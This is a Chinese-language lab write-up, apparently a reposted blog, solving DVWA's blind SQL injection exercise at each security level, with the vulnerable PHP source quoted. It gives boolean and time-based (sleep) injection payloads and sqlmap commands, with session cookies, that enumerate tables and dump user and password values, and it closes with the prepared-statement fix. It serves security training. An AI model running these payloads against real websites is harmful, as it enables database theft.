DVWA之SQL Injection (Blind)

DVWA之SQL Injection (Blind)

low

查看源代码可知,对输入字符串没有进行任何过滤

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    
    
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
    
    
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
    
    
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#

http://dvwa/vulnerabilities/sqli_blind/?id=1'&Submit=Submit#


这里我们发现我们如果语句正确就会返回exists,语句错误就会返回MISSING,所以这里我们使用union注入是行不通的,这里我们只能使用Boolean盲注

判断为数字型还是字符型注入

http://dvwa/vulnerabilities/sqli_blind/?id=1 and 1=1--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1 and 1=2--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1' and 1=1--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1' and 1=2--+&Submit=Submit# #MISSING

所以判断为字符型注入
判断当前数据库长度

http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>10--+&Submit=Submit# #MISSING
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>5--+&Submit=Submit# #MISSING
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>3--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>4--+&Submit=Submit# #MISSING
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())=4--+&Submit=Submit# #exists

所以判断当前数据库长度为4

判断当前数据库的第一个字母

http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr(database(),1,1)='a'--+&Submit=Submit# #MISSING

一个一个猜未免太过麻烦了,这里我们直接发送到burpsuite进行暴力破解

判断当前数据库的第一个字母为d,根据此方法依次猜解后面三个字母为vwa,所以当前数据库为dvwa

判断dvwa库下有几张表

http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select count(*) from information_schema.tables where table_schema=database())=1--+&Submit=Submit# #MISSING

继续使用burpsuite爆破

所以dvwa下有两张表

判断两张表的长度

http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1--+&Submit=Submit# #MISSING


判断第一张表的长度为9,按照此方法猜解出第二张表的长度为5

判端dvwa库下第一张表的第一个字母

http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'--+&Submit=Submit# #MINSSING


所以dvwa库下的第一张表的第一个字母为d,按照此方法依次猜解出第一张表为guestbook,第二张表为users

判断users表下有几个字段

http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select count(*) from information_schema.columns where table_name='users' )=1--+&Submit=Submit# #MISSING


所以users表下有14个字段

判断users表下第一个字段的长度

http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1--+&Submit=Submit# #MISSING


所以users表下第一个字段的长度为7,按照此方法依次猜解出所有地段的长度

判断users表下第一个字段的第一个字母

http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+&Submit=Submit# #MISSING


按照此方法依次猜解出所有字段

判断user字段下面有多少个值

http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select count(*) from users)=1--+&Submit=Submit# #MISSING


所以有5个字段

判断user字段的第一个值的第一个字母

http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr((select user from users limit 0,1),1,1)='a'--+&Submit=Submit# #exists


所以user字段下的第一个值的第一个字母为a,按照此方法依次猜解出user和password字段下面的所有字段

随便挑选一个账号密码验证我们猜解出来的账号密码


登入成功
这样一个一个猜未免太麻烦了,我们也可以使用SQL注入自动化工具sqlmap进行SQL注入
查看当前库

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" --dbs

–batch #自动化完成
–cookie #填写cookie信息,因为这里我们需要先登入后才能开始注入,所以我们需要输入cookie信息
–dbs 查看当前所有库

查看dvwa库下面的所有表

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" -D dvwa --tables

-D dvwa --tables #查看dvwa下的所有表

查看users表下的所有字段

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" -D dvwa -T users --columns

-D dvwa -T users --columns #查看dvwa库下users表下的所有字段

查看user,password字段下的所有值

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" -D dvwa -T users -C user,password --dump

-D dvwa -T users -C user,password --dump #查看dawa库下users表下user和password字段下所有的值

这里sqlmap会自动去调用一个字典,也可以自己手动指定到自己准备的字典,会自动帮你去解密

medium

将等级调为中等级,我们发现只能去选择1到5的数字,并且在选择后在url上面看不到我们提交上去的东西,因为这里我们输入的数字是以POST的方式提交到了后台,查看源代码可知,这里对id进行了一定的处理,会将我们输入的单引号给转义到,所以这里就只能为数字型注入或者宽字节注入了

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    
    
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
    
    
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
    
    
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

这里我们使用hackbar抓取POST包

Submit=Submit&id=1 and 1=1--+ #exists
Submit=Submit&id=1 and 1=2--+ #MISSING

所以判断为数字型注入,之后的方法跟low级别就是一模一样了,这里我们介绍一种新方法,时间盲注,他其实也属于Boolena盲注,这里我们已经判断为数字型注入

Submit=Submit&id=1 and sleep(5)--+


这里发现页面会休眠5秒后再进行查询,我们可以利用这个特点

判断当前数据库长度

Submit=Submit&id=1 and if(length(database())=4,sleep(5),1)--+


这句话的意思为当前数据库的长度是否为4,如果是,则查询休眠5秒,如果不是,则查询1,我们发现页面确实休眠了5秒,所以判断当前数据库长度为4

判断当前数据库的第一个字母

Submit=Submit&id=1 and if(ascii(substr(database(),1,1))=100,sleep(5),1) --+


因为这里单引号被转义了,所以我们将字母转为ascii码进行查找,页面休眠了5秒,查找ascii码表,100对应的字母为d,所以判断当前数据库的第一个字母为d,按照此方法依次查找,判断当前数据库为dvwa,后面的过程与low级别基本相似,在前面加一个if判断条件即可,也可以使用sqlmap进行自动化注入,这里不加以赘述

high

查看源代码可知,我们输入id时,会自动跳转到另一个页面,再就是在sql语句后面加了一个limit函数

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    
    
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
    
    
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
    
    
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
    
    
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

因为只是防止了使用自动化工具进行注入,所以跟low级别其实一模一样,后面的limit函数我们可以直接使用#将他注释掉,具体过程看我的low等级就行了

impossible

查看源代码可知,利用了PDO技术,所以杜绝了SQL注入

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    
    
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
    
    
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
    
    
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
    
    
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

猜你喜欢

转载自blog.csdn.net/kukudeshuo/article/details/115047848